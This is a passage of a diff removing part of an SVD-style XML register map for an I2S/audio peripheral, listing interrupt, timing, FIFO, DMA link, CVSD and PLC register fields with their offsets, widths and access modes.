-              <name>IN_ERR_EOF_INT_ST</name>
-              <bitOffset>10</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>OUT_DONE_INT_ST</name>
-              <bitOffset>11</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>OUT_EOF_INT_ST</name>
-              <bitOffset>12</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>IN_DSCR_ERR_INT_ST</name>
-              <bitOffset>13</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>OUT_DSCR_ERR_INT_ST</name>
-              <bitOffset>14</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>IN_DSCR_EMPTY_INT_ST</name>
-              <bitOffset>15</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>OUT_TOTAL_EOF_INT_ST</name>
-              <bitOffset>16</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>INT_ENA</name>
-          <addressOffset>0x14</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>RX_TAKE_DATA_INT_ENA</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>TX_PUT_DATA_INT_ENA</name>
-              <bitOffset>1</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>RX_WFULL_INT_ENA</name>
-              <bitOffset>2</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>RX_REMPTY_INT_ENA</name>
-              <bitOffset>3</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>TX_WFULL_INT_ENA</name>
-              <bitOffset>4</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>TX_REMPTY_INT_ENA</name>
-              <bitOffset>5</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>RX_HUNG_INT_ENA</name>
-              <bitOffset>6</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>TX_HUNG_INT_ENA</name>
-              <bitOffset>7</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>IN_DONE_INT_ENA</name>
-              <bitOffset>8</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>IN_SUC_EOF_INT_ENA</name>
-              <bitOffset>9</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>IN_ERR_EOF_INT_ENA</name>
-              <bitOffset>10</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>OUT_DONE_INT_ENA</name>
-              <bitOffset>11</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>OUT_EOF_INT_ENA</name>
-              <bitOffset>12</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>IN_DSCR_ERR_INT_ENA</name>
-              <bitOffset>13</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>OUT_DSCR_ERR_INT_ENA</name>
-              <bitOffset>14</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>IN_DSCR_EMPTY_INT_ENA</name>
-              <bitOffset>15</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>OUT_TOTAL_EOF_INT_ENA</name>
-              <bitOffset>16</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>INT_CLR</name>
-          <addressOffset>0x18</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>TAKE_DATA_INT_CLR</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>PUT_DATA_INT_CLR</name>
-              <bitOffset>1</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>RX_WFULL_INT_CLR</name>
-              <bitOffset>2</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>RX_REMPTY_INT_CLR</name>
-              <bitOffset>3</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>TX_WFULL_INT_CLR</name>
-              <bitOffset>4</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>TX_REMPTY_INT_CLR</name>
-              <bitOffset>5</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>RX_HUNG_INT_CLR</name>
-              <bitOffset>6</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>TX_HUNG_INT_CLR</name>
-              <bitOffset>7</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>IN_DONE_INT_CLR</name>
-              <bitOffset>8</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>IN_SUC_EOF_INT_CLR</name>
-              <bitOffset>9</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>IN_ERR_EOF_INT_CLR</name>
-              <bitOffset>10</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>OUT_DONE_INT_CLR</name>
-              <bitOffset>11</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>OUT_EOF_INT_CLR</name>
-              <bitOffset>12</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>IN_DSCR_ERR_INT_CLR</name>
-              <bitOffset>13</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>OUT_DSCR_ERR_INT_CLR</name>
-              <bitOffset>14</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>IN_DSCR_EMPTY_INT_CLR</name>
-              <bitOffset>15</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>OUT_TOTAL_EOF_INT_CLR</name>
-              <bitOffset>16</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>TIMING</name>
-          <addressOffset>0x1C</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>TX_BCK_IN_DELAY</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>TX_WS_IN_DELAY</name>
-              <bitOffset>2</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>RX_BCK_IN_DELAY</name>
-              <bitOffset>4</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>RX_WS_IN_DELAY</name>
-              <bitOffset>6</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>RX_SD_IN_DELAY</name>
-              <bitOffset>8</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>TX_BCK_OUT_DELAY</name>
-              <bitOffset>10</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>TX_WS_OUT_DELAY</name>
-              <bitOffset>12</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>TX_SD_OUT_DELAY</name>
-              <bitOffset>14</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>RX_WS_OUT_DELAY</name>
-              <bitOffset>16</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>RX_BCK_OUT_DELAY</name>
-              <bitOffset>18</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>TX_DSYNC_SW</name>
-              <bitOffset>20</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>RX_DSYNC_SW</name>
-              <bitOffset>21</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>DATA_ENABLE_DELAY</name>
-              <bitOffset>22</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>TX_BCK_IN_INV</name>
-              <bitOffset>24</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>FIFO_CONF</name>
-          <addressOffset>0x20</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00001820</resetValue>
-          <fields>
-            <field>
-              <name>RX_DATA_NUM</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>6</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>TX_DATA_NUM</name>
-              <bitOffset>6</bitOffset>
-              <bitWidth>6</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>DSCR_EN</name>
-              <bitOffset>12</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>TX_FIFO_MOD</name>
-              <bitOffset>13</bitOffset>
-              <bitWidth>3</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>RX_FIFO_MOD</name>
-              <bitOffset>16</bitOffset>
-              <bitWidth>3</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>TX_FIFO_MOD_FORCE_EN</name>
-              <bitOffset>19</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>RX_FIFO_MOD_FORCE_EN</name>
-              <bitOffset>20</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>RXEOF_NUM</name>
-          <addressOffset>0x24</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000040</resetValue>
-          <fields>
-            <field>
-              <name>RX_EOF_NUM</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>CONF_SIGLE_DATA</name>
-          <addressOffset>0x28</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>SIGLE_DATA</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>CONF_CHAN</name>
-          <addressOffset>0x2C</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>TX_CHAN_MOD</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>3</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>RX_CHAN_MOD</name>
-              <bitOffset>3</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>OUT_LINK</name>
-          <addressOffset>0x30</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>OUTLINK_ADDR</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>20</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>OUTLINK_STOP</name>
-              <bitOffset>28</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>OUTLINK_START</name>
-              <bitOffset>29</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>OUTLINK_RESTART</name>
-              <bitOffset>30</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>OUTLINK_PARK</name>
-              <bitOffset>31</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>IN_LINK</name>
-          <addressOffset>0x34</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>INLINK_ADDR</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>20</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>INLINK_STOP</name>
-              <bitOffset>28</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>INLINK_START</name>
-              <bitOffset>29</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>INLINK_RESTART</name>
-              <bitOffset>30</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>INLINK_PARK</name>
-              <bitOffset>31</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>OUT_EOF_DES_ADDR</name>
-          <addressOffset>0x38</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>OUT_EOF_DES_ADDR</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>IN_EOF_DES_ADDR</name>
-          <addressOffset>0x3C</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>IN_SUC_EOF_DES_ADDR</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>OUT_EOF_BFR_DES_ADDR</name>
-          <addressOffset>0x40</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>OUT_EOF_BFR_DES_ADDR</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>AHB_TEST</name>
-          <addressOffset>0x44</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>AHB_TESTMODE</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>3</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>AHB_TESTADDR</name>
-              <bitOffset>4</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>INLINK_DSCR</name>
-          <addressOffset>0x48</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>INLINK_DSCR</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>INLINK_DSCR_BF0</name>
-          <addressOffset>0x4C</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>INLINK_DSCR_BF0</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>INLINK_DSCR_BF1</name>
-          <addressOffset>0x50</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>INLINK_DSCR_BF1</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>OUTLINK_DSCR</name>
-          <addressOffset>0x54</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>OUTLINK_DSCR</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>OUTLINK_DSCR_BF0</name>
-          <addressOffset>0x58</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>OUTLINK_DSCR_BF0</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>OUTLINK_DSCR_BF1</name>
-          <addressOffset>0x5C</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>OUTLINK_DSCR_BF1</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>LC_CONF</name>
-          <addressOffset>0x60</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000100</resetValue>
-          <fields>
-            <field>
-              <name>IN_RST</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>OUT_RST</name>
-              <bitOffset>1</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>AHBM_FIFO_RST</name>
-              <bitOffset>2</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>AHBM_RST</name>
-              <bitOffset>3</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>OUT_LOOP_TEST</name>
-              <bitOffset>4</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>IN_LOOP_TEST</name>
-              <bitOffset>5</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>OUT_AUTO_WRBACK</name>
-              <bitOffset>6</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>OUT_NO_RESTART_CLR</name>
-              <bitOffset>7</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>OUT_EOF_MODE</name>
-              <bitOffset>8</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>OUTDSCR_BURST_EN</name>
-              <bitOffset>9</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>INDSCR_BURST_EN</name>
-              <bitOffset>10</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>OUT_DATA_BURST_EN</name>
-              <bitOffset>11</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CHECK_OWNER</name>
-              <bitOffset>12</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MEM_TRANS_EN</name>
-              <bitOffset>13</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>OUTFIFO_PUSH</name>
-          <addressOffset>0x64</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>OUTFIFO_WDATA</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>9</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>OUTFIFO_PUSH</name>
-              <bitOffset>16</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>INFIFO_POP</name>
-          <addressOffset>0x68</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>INFIFO_RDATA</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>12</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>INFIFO_POP</name>
-              <bitOffset>16</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>LC_STATE0</name>
-          <addressOffset>0x6C</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>LC_STATE0</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>LC_STATE1</name>
-          <addressOffset>0x70</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>LC_STATE1</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>LC_HUNG_CONF</name>
-          <addressOffset>0x74</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000810</resetValue>
-          <fields>
-            <field>
-              <name>LC_FIFO_TIMEOUT</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>LC_FIFO_TIMEOUT_SHIFT</name>
-              <bitOffset>8</bitOffset>
-              <bitWidth>3</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>LC_FIFO_TIMEOUT_ENA</name>
-              <bitOffset>11</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>CVSD_CONF0</name>
-          <addressOffset>0x80</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x80007FFF</resetValue>
-          <fields>
-            <field>
-              <name>CVSD_Y_MAX</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>16</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CVSD_Y_MIN</name>
-              <bitOffset>16</bitOffset>
-              <bitWidth>16</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>CVSD_CONF1</name>
-          <addressOffset>0x84</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x000A0500</resetValue>
-          <fields>
-            <field>
-              <name>CVSD_SIGMA_MAX</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>16</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CVSD_SIGMA_MIN</name>
-              <bitOffset>16</bitOffset>
-              <bitWidth>16</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>CVSD_CONF2</name>
-          <addressOffset>0x88</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x000502A4</resetValue>
-          <fields>
-            <field>
-              <name>CVSD_K</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>3</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CVSD_J</name>
-              <bitOffset>3</bitOffset>
-              <bitWidth>3</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CVSD_BETA</name>
-              <bitOffset>6</bitOffset>
-              <bitWidth>10</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CVSD_H</name>
-              <bitOffset>16</bitOffset>
-              <bitWidth>3</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>PLC_CONF0</name>
-          <addressOffset>0x8C</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x08A80339</resetValue>
-          <fields>
-            <field>
-              <name>GOOD_PACK_MAX</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>6</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>N_ERR_SEG</name>
-              <bitOffset>6</bitOffset>
-              <bitWidth>3</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SHIFT_RATE</name>
-              <bitOffset>9</bitOffset>
-              <bitWidth>3</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MAX_SLIDE_SAMPLE</name>
-              <bitOffset>12</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>PACK_LEN_8K</name>
-              <bitOffset>20</bitOffset>
-              <bitWidth>5</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>N_MIN_ERR</name>
-              <bitOffset>25</bitOffset>
-              <bitWidth>3</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>PLC_CONF1</name>
-          <addressOffset>0x90</addressOffset>
-          <size>0x20</size>
-          <resetValue>0xA0178A05</resetValue>
-          <fields>
-            <field>
-              <name>BAD_CEF_ATTEN_PARA</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>BAD_CEF_ATTEN_PARA_SHIFT</name>
-              <bitOffset>8</bitOffset>
-              <bitWidth>4</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>BAD_OLA_WIN2_PARA_SHIFT</name>
-              <bitOffset>12</bitOffset>
-              <bitWidth>4</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>BAD_OLA_WIN2_PARA</name>
-              <bitOffset>16</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLIDE_WIN_LEN</name>
-              <bitOffset>24</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>PLC_CONF2</name>
-          <addressOffset>0x94</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000028</resetValue>
-          <fields>
-            <field>
-              <name>CVSD_SEG_MOD</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MIN_PERIOD</name>
-              <bitOffset>2</bitOffset>
-              <bitWidth>5</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>ESCO_CONF0</name>
-          <addressOffset>0x98</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>ESCO_EN</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>ESCO_CHAN_MOD</name>
-              <bitOffset>1</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>ESCO_CVSD_DEC_PACK_ERR</name>
-              <bitOffset>2</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>ESCO_CVSD_PACK_LEN_8K</name>
-              <bitOffset>3</bitOffset>
-              <bitWidth>5</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>ESCO_CVSD_INF_EN</name>
-              <bitOffset>8</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CVSD_DEC_START</name>
-              <bitOffset>9</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CVSD_DEC_RESET</name>
-              <bitOffset>10</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>PLC_EN</name>
-              <bitOffset>11</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>PLC2DMA_EN</name>
-              <bitOffset>12</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>SCO_CONF0</name>
-          <addressOffset>0x9C</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>SCO_WITH_I2S_EN</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SCO_NO_I2S_EN</name>
-              <bitOffset>1</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CVSD_ENC_START</name>
-              <bitOffset>2</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CVSD_ENC_RESET</name>
-              <bitOffset>3</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>CONF1</name>
-          <addressOffset>0xA0</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000089</resetValue>
-          <fields>
-            <field>
-              <name>TX_PCM_CONF</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>3</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>TX_PCM_BYPASS</name>
-              <bitOffset>3</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>RX_PCM_CONF</name>
-              <bitOffset>4</bitOffset>
-              <bitWidth>3</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>RX_PCM_BYPASS</name>
-              <bitOffset>7</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>TX_STOP_EN</name>
